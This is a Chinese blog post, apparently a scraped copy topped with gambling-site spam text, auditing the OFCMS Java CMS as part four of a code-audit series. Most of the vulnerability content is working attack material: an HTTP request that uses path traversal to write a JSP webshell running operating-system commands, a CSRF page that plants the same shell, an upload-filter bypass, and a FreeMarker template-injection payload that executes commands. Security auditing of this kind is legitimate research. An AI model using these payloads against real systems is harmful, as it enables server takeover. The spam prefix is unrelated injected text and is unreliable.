彩票从零开始java代码审计系列(四)_HUC惠仲娱乐

彩票

最近打算审一审web项目,毕竟复现一些java的经典漏洞和审计java web还是有些区别的,这次审计的项目地址: https://gitee.com/oufu/ofcms

审计时可以IDEA可以装上FindBugs

还是有一些帮助的。

后台任意文件上传

漏洞路径/ofcms/ofcms-admin/src/main/java/com/ofsoft/cms/admin/controller/cms/TemplateController.java

public void save() {         String resPath = getPara("res_path");         File pathFile = null;         if("res".equals(resPath)){             pathFile = new File(SystemUtile.getSiteTemplateResourcePath());         }else {             pathFile = new File(SystemUtile.getSiteTemplatePath());         }         String dirName = getPara("dirs");         if (dirName != null) {             pathFile = new File(pathFile, dirName);         }         String fileName = getPara("file_name");          String fileContent = getRequest().getParameter("file_content");         fileContent = fileContent.replace("&lt;", "<").replace("&gt;", ">");         File file = new File(pathFile, fileName);         FileUtils.writeString(file, fileContent);         rendSuccessJson();     } 

这里可以看到没有任何限制,直接写入jsp代码。

POST /ofcms_admin_war/admin/cms/template/save.json HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0) Gecko/20100101 Firefox/67.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 548 Connection: close Referer: http://localhost:8080/ofcms_admin_war/admin/cms/template/getTemplates.html?res_path=res Cookie: JSESSIONID=D995760A2B3C721A91018D1729162B00  file_path=&dirs=%2F&res_path=res&file_name=../../static/jsp_shell.jsp&file_content=%3C%25%0A++++if(%22p0desta%22.equals(request.getParameter(%22pwd%22)))%7B%0A++++++++java.io.InputStream+in+%3D+Runtime.getRuntime().exec(request.getParameter(%22i%22)).getInputStream()%3B%0A++++++++int+a+%3D+-1%3B%0A++++++++byte%5B%5D+b+%3D+new+byte%5B2048%5D%3B%0A++++++++out.print(%22%3Cpre%3E%22)%3B%0A++++++++while((a%3Din.read(b))!%3D-1)%7B%0A++++++++++++out.println(new+String(b))%3B%0A++++++++%7D%0A++++++++out.print(%22%3C%2Fpre%3E%22)%3B%0A++++%7D%0A%25%3E

为什么要写到static目录下呢,看这里

/**  * 请求后缀名处理  *   * @author OF  * @date 2017年11月24日  */ public class ActionHandler extends Handler {     private String[] suffix = { ".html", ".jsp", ".json" };     public static final String exclusions = "static/";     // private String baseApi = "api";      public ActionHandler(String[] suffix) {         super();         this.suffix = suffix;     }      public ActionHandler() {         super();     }      @Override     public void handle(String target, HttpServletRequest request,             HttpServletResponse response, boolean[] isHandled) {         /**          * 不包括 suffix 、以及api 地址的直接返回          */         /*          * if (!isSuffix(target) && !"/".equals(target) &&          * !target.contains(baseApi)) { return; }          */         //过虑静态文件         if(target.contains(exclusions)){             return;         }         target = isDisableAccess(target);         BaseController.setRequestParams(); //      RequestSupport.setLocalRequest(request); //      RequestSupport.setRequestParams();         //JFinal.me().getAction(target,null);         next.handle(target, request, response, isHandled);     }      private String isDisableAccess(String target) {         for (int i = 0; i < suffix.length; i++) {             String suffi =  getSuffix(target);             if (suffi.contains(suffix[i])) {                 return target.replace(suffi, "");             }         }         return target;     }      /*      * private boolean isSuffix(String target) { for (int i = 0; i <      * suffix.length; i++) { if (suffix[i].equalsIgnoreCase(getSuffix(target)))      * { return true; } } return false; }      */      public static String getSuffix(String fileName) {         if (fileName != null && fileName.contains(".")) {             return fileName.substring(fileName.lastIndexOf("."));         }         return "";     } } 

可以看到这里将jsp、html、json的后缀都为空了,但是如果是/static目录就直接return了,那么把shell写到这个目录下即可。

CSRF打助攻

显然没有token做限制,当然也没有其他限制csrf咯

<html>   <!-- CSRF PoC - generated by Burp Suite Professional -->   <body>   <script>history.pushState('', '', '/')</script>     <form action="http://localhost:8080/ofcms_admin_war/admin/cms/template/save.json" method="POST">       <input type="hidden" name="file&#95;path" value="" />       <input type="hidden" name="dirs" value="&#47;" />       <input type="hidden" name="res&#95;path" value="res" />       <input type="hidden" name="file&#95;name" value="&#46;&#46;&#47;&#46;&#46;&#47;upload&#47;shell2&#46;jsp" />       <input type="hidden" name="file&#95;content" value="&lt;&#37;&#10;&#32;&#32;&#32;&#32;if&#40;&quot;p0desta&quot;&#46;equals&#40;request&#46;getParameter&#40;&quot;pwd&quot;&#41;&#41;&#41;&#123;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;java&#46;io&#46;InputStream&#32;in&#32;&#61;&#32;Runtime&#46;getRuntime&#40;&#41;&#46;exec&#40;request&#46;getParameter&#40;&quot;i&quot;&#41;&#41;&#46;getInputStream&#40;&#41;&#59;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;int&#32;a&#32;&#61;&#32;&#45;1&#59;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;byte&#91;&#93;&#32;b&#32;&#61;&#32;new&#32;byte&#91;2048&#93;&#59;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;out&#46;print&#40;&quot;&lt;pre&gt;&quot;&#41;&#59;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;while&#40;&#40;a&#61;in&#46;read&#40;b&#41;&#41;&#33;&#61;&#45;1&#41;&#123;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;out&#46;println&#40;new&#32;String&#40;b&#41;&#41;&#59;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#125;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;out&#46;print&#40;&quot;&lt;&#47;pre&gt;&quot;&#41;&#59;&#10;&#32;&#32;&#32;&#32;&#125;&#10;&#37;&gt;" />       <input type="submit" value="Submit request" />     </form>   </body> </html> 

后台任意文件上传漏洞(鸡肋)
@Clear     public void upload() {         try {             UploadFile file = this.getFile("file", "image");             file.getFile().createNewFile();             Map<String, Object> data = new HashMap<String, Object>();             data.put("filePath", "/upload/image/" + file.getFileName());             data.put("fileName", file.getFileName());             rendSuccessJson(data);         } catch (Exception e) {             rendFailedJson(ErrorCode.get("9999"));         }     } 

file.getFile().createNewFile();,可以跟到

private boolean isSafeFile(UploadFile uploadFile) {         String fileName = uploadFile.getFileName().trim().toLowerCase();         if (!fileName.endsWith(".jsp") && !fileName.endsWith(".jspx")) {             return true;         } else {             uploadFile.getFile().delete();             return false;         }     } 

限制了是否以指定后缀结束,但是这里可以利用windows的特性来绕过

但是我说这个洞为什么鸡肋呢,因为没办法跨目录上传,上传到image目录下是利用不了的,原因我上面说了,所以说它鸡肋。

服务端模板注入

通过看配置文件我们可以知道是使用了模板引擎FreeMarker,这个应该是java中比较经典的模板注入了,来看文章http://drops.xmd5.com/static/drops/tips-8292.html

使用payload

<#assign ex="freemarker.template.utility.Execute"?new()>  ${ ex("id") }